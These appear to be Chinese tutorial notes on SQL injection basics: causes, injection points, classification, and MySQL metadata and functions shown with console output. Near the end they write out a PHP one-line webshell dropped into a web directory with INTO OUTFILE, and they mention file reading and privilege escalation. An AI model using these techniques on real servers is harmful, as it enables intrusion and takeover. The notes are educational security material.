sql注入基础
sql注入
- 漏洞的原理
- 漏洞的利用方式
- 漏洞的修复
1. 什么是sql
[简介]
sql是结构化查询语言
(Structured Query Language,缩写:SQL),是一种特殊的编程语言
,用于数据库中的标
准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统
的标准言
(ANSI X3.135-1986) , 1987年得到国际标准组织的支持下成为国际标准。
2. 什么是SQL注入
SQL注入(SQLInjection)是一种常见的web安全漏洞
,攻击者利用这个漏洞,可以访问或修改数据
,或者利用潜在
的数据库漏洞进行攻击。
[漏洞原理]
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法
, 破坏
原有SQL结构
达到编写程序时意料之外
结果
的攻击行为。
[原因]
- 程序编写者在处理程序和数据库交互时,使用
字符串拼接
的方式构造SQL
语句。 - 对用户可控参数
未进行足够的过滤
便将参数内容拼接进入到SQL语句中。
页面接收的相关参数未进行过滤限制直接和原有的sql语句拼接然后带入到数据库查询
sql注入属于服务端攻击,和操作系统,数据库类型,以及脚本语言类型都是无关的,他是程序代码的漏洞
注入提交的方式:
根据SQL注入漏洞的原理,在用户可控参数
中注入SQL语法,也就是说web应用在获取用户数据的地方,只要
带入数据库查询,都有存在SQL注入的可能 , 这些地方通常包括 :
- GET 数据
- POST 数据
- HTTP 头部 (HTTP请求报文其他字段)
- Cookie 数据
- user-agent
- referer
注入点可能存在的页面:
- 用户登录页面
- 用户注册页面
- 用户修改个人信息页面
- 留言板等一系列与数据库交互的页面都有可能存在sql注入
[漏洞危害]
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如︰管理员后台密码),从而脱取数据库中内容
(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据
库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell
或者服务器系统权限。mysql数据库可以
利用mof|udf
提权
3. sql注入分类
3.1 按照数据类型分类
SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型
分类来看,SQL注入分为数字型
和字符型
。
[数字型注入]
数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的 , 即数据两边没有被单引号、双引号包括
-- 数字型注入,无单双引号
select * from user where id=1;
[字符型注入]
字符型注入就是说注入点的数据,拼接到SQL语句中是以字符型出现的 , 即数据两边有单引号或双引号包括
-- 字符型注入,有单或双引号
select * from user where name = "alex";
[搜索型注入]
-- 一般存在于一些搜索框
select * from user where name like "%x%";
[xx型注入]
-- 当不是以上几种类型的注入,你可以尝试一下是否是xx型注入
select * from user where name = ("alex")
[补充]
在sql注入的时候判断是数字型还是字符型注入很重要,因为你要考虑单引号双引号的闭合问题
在数据库中数据大体可以分为三类,数字型,字符型,时间型,注意不是数据类型的划分
3.2 按照手法分类
根据注入手法分类,大致可分为以下几个类别。
UNION query sQL injection (可联合查询注入) 联合查询,也有人成为union注入
Error-based sQL injection (报错型注入) 报错注入
Boolean-based blind sQL injection (布尔型注入) 布尔盲注
Time-based blind sQL injection (基于时间延迟注入) 延时注入
Stacked queries sQL injection(可多语句查询注入) 堆叠查询 , 可拼接多条语句
个人总结:以上是按手法分类的四大基本手法,因为以上都是查的操作,而多语句查询更倾向于增删改的操作
也可以分为三大类,联合查询,报错注入和盲注,联合查询和报错注入能看到数据库的回显,无论是错误信息还是
正确信息,而布尔盲注和延时注入看不到数据库的回显,只能通过页面的状态分析
[补充]
也可以按照注入的位置分类,get注入,post注入以及cookie注入,网上流传的GPC就是指他们三个
所有的分类都是有交叉
的,是从不同的角度划分的
4. mysql注入相关函数
既然要探讨SQL注入漏洞,需要对数据库有所了解,此处以mysql为例,这里只是起到抛砖引玉的作用,其他数据
库环境下的SQL注入,读者可以按照本课程的思路去学习,唯一不同的只是数据库的特性。
4.1 注释
-- (杠杠空格) 是大多数据库支持的注释
# ---> mysql独有的注释
/*.....*/
/*! .... */ 内联查询
4.2 元数据
mysql是一个数据库管理系统,里面存放着很多库,表,字段,对于mysql这些库名
,表名
,字段名
就是元数据
这些元数据代表了数据库的结构,mysql数据库会把它存到一个数据库中,即information_schema库
在information_schema这个数据库中,tables这个表存储了mysql中所有的表的信息,tables_name字段是表
名,tables_schema这个字段是指表所属的数据库的名字
columns这个表存储了mysql中所有的字段的信息,columns_name字段是指字段名,tables_name字段是字段所在的表名,tables_schema这个字段是指字段所处的库名
在mysql数据库下有一个user表,里面存放着可以连接数据库的账号和密码
4.3 运算符
> < >= <= != <> and or
大于 小于 大于等于 小于等于 不等于 不等于 并且 或者
mysql> select 1 > 2;
+-------+
| 1 > 2 |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)
mysql> select 1 < 2;
+-------+
| 1 < 2 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)
mysql> select 1 = 1 and 1 > 3;
+-----------------+
| 1 = 1 and 1 > 3 |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select 1 = 1 or 1 > 3;
+----------------+
| 1 = 1 or 1 > 3 |
+----------------+
| 1 |
+----------------+
1 row in set (0.00 sec)
4.4 函数
version( ) 查看mysql数据库版本
mysql> select version();+-----------+| version() |+-----------+| 5.7.26 |+-----------+1 row in set (0.01 sec)
database( ) 查看当前数据库名
mysql> select database();+------------+| database() |+------------+| world |+------------+1 row in set (0.00 sec)
user( ) 查看用户名
mysql> select user();+----------------+| user() |+----------------+| root@localhost|+----------------+1 row in set (0.00 sec)
current_user( )查看当前用户名
mysql> select current_user();+----------------+| current_user() |+----------------+| root@localhost|+----------------+1 row in set (0.00 sec)
system_user( ) 查看系统用户名
mysql> select system_user();+----------------+| system_user() |+----------------+| root@localhos |+----------------+1 row in set (0.00 sec)
@@datadir查看数据路径
mysql> select @@datadir;+-----------------------------------------------------------------+| @@datadir |+-----------------------------------------------------------------+| E:\developTools\tools\phpstudy_pro\Extensions\MySQL5.7.26\data\|+-----------------------------------------------------------------+1 row in set (0.00 sec)
@@basedir查看数据库的安装路径
mysql> select @@basedir;+--------------------+| @@basedir |+--------------------+| D:/phpStudy/MySQL/ |+--------------------+1 row in set (0.00 sec)
@@versoin_compile_os查看操作系统版本
mysql> select @@version_compile_os;+----------------------+| @@version_compile_os |+----------------------+| Win64 |+----------------------+1 row in set (0.00 sec)
length( )返回字符串的长度
mysql> select length("1234");+----------------+| length("1234") |+----------------+| 4 |+----------------+1 row in set (0.00 sec)
substring( ),substr( ),mid( )截取字符串
mysql> select substring("1234",1,2);+-----------------------+| substring("1234",1,2) |+-----------------------+| 12 |+-----------------------+1 row in set (0.00 sec)mysql> select substr("1234",1,2);+--------------------+| substr("1234",1,2) |+--------------------+| 12 |+--------------------+1 row in set (0.00 sec)mysql> select mid("1234",1,3);+-----------------+| mid("1234",1,3) |+-----------------+| 123 |+-----------------+1 row in set (0.00 sec)
left( ) 从左侧开始取指定字符个数的字符串
mysql> select left("qwerr",2);+-----------------+| left("qwerr",2) |+-----------------+| qw |+-----------------+1 row in set (0.00 sec)
concat( ) 没有分隔符的连接字符串
mysql> select concat("hell","owrod");+------------------------+| concat("hell","owrod") |+------------------------+| hellowrod |+------------------------+1 row in set (0.01 sec)
concat_ws ( )含有分割符的连接字符串
mysql> select concat_ws("-","hello","word");+-------------------------------+| concat_ws("-","hello","word") |+-------------------------------+| hello-word |+-------------------------------+1 row in set (0.00 sec)
ord ( ) ascii( ) 返回ASCII码
mysql> select ord('a');+----------+| ord('a') |+----------+| 97 |+----------+1 row in set (0.01 sec)mysql> select ascii("a");+------------+| ascii("a") |+------------+| 97 |+------------+1 row in set (0.00 sec)
char( ) 返回ascii码对应的字符
mysql> select char(97);+----------+| char(97) |+----------+| a |+----------+1 row in set (0.01 sec)
hex( ) 将10进制转换为十六进制
mysql> select hex(17);+---------+| hex(17) |+---------+| 11 |+---------+1 row in set (0.00 sec)
md5( ) 返回MD5值
mysql> select md5("admin");+----------------------------------+| md5("admin") |+----------------------------------+| 21232f297a57a5a743894a0e4a801fc3 |+----------------------------------+1 row in set (0.01 sec)
floor(x) 返回不大于x的最大整数
mysql> select floor(5);+----------+| floor(5) |+----------+| 5 |+----------+1 row in set (0.01 sec)
round( ) 返回参数×接近的整数,四舍五入
mysql> select round(4.4);+------------+| round(4.4) |+------------+| 4 |+------------+1 row in set (0.00 sec)
group_conat( ) 连接一个组的字符串
mysql> select group_concat(id) from city where id < 10;+-------------------+| group_concat(id) |+-------------------+| 1,2,3,4,5,6,7,8,9 |+-------------------+1 row in set (0.00 sec)mysql> select group_concat("id","user","password");+--------------------------------------+| group_concat("id","user","password") |+--------------------------------------+| iduserpassword |+--------------------------------------+1 row in set (0.01 sec)
rand ( ) 返回0-1之间的随机浮点数
mysql> select rand();+--------------------+| rand() |+--------------------+| 0.4978868081214715 |+--------------------+1 row in set (0.01 sec)mysql> select left(rand(),3); -- 随机一个小数,并保留小数点后一位+----------------+| left(rand(),3) |+----------------+| 0.9 |+----------------+1 row in set (0.00 sec)
load_file( ) 读取文件,并返回文件内容作为一个字符串
mysql> select load_file("/tmp/a.txt");+--------------------------+| load_file("/tmp/a.txt") |+--------------------------+| hello |+--------------------------+1 row in set (0.00 sec)
@@secure_file_priv 查看读写文件的范围
MYSQL新特性secure_file_priv对读写文件的影响 此开关默认为NULL,即不允许导入导出。secure_file_priv 为空是 的时候 方可读写 由于这个参数不能动态更改,只能在mysql的配置文件mysql.ini中的[mysqld]中进行修改,然后重启生效。 可以通过命令查看这个属性
mysql> select @@secure_file_priv;+--------------------+| @@secure_file_priv |+--------------------+| |+--------------------+1 row in set (0.00 sec)secure_file_priv 为空可以在任意路径下读写文件
写入一句话木马
select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\Wamp\2.php"
into outfile 写文件,把一个字符串写进一个文件中 , 注意gpc是否开启 , 开启会转义特殊字符 '
--> \'
sleep( ) 睡眠时间为指定的秒数
if(true,t,f) if判断
find_in_set( ) 返回字符串在字符串列表中的位置
benchmark( )指定语句执行的次数
name_const( )返回表作为结果
5. 注入流程
由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL注入漏洞获取数据库中信息时
候,也依据这样的顺序。首先获取数据库名,其次获取表名,然后获取字段名,最后获取数据。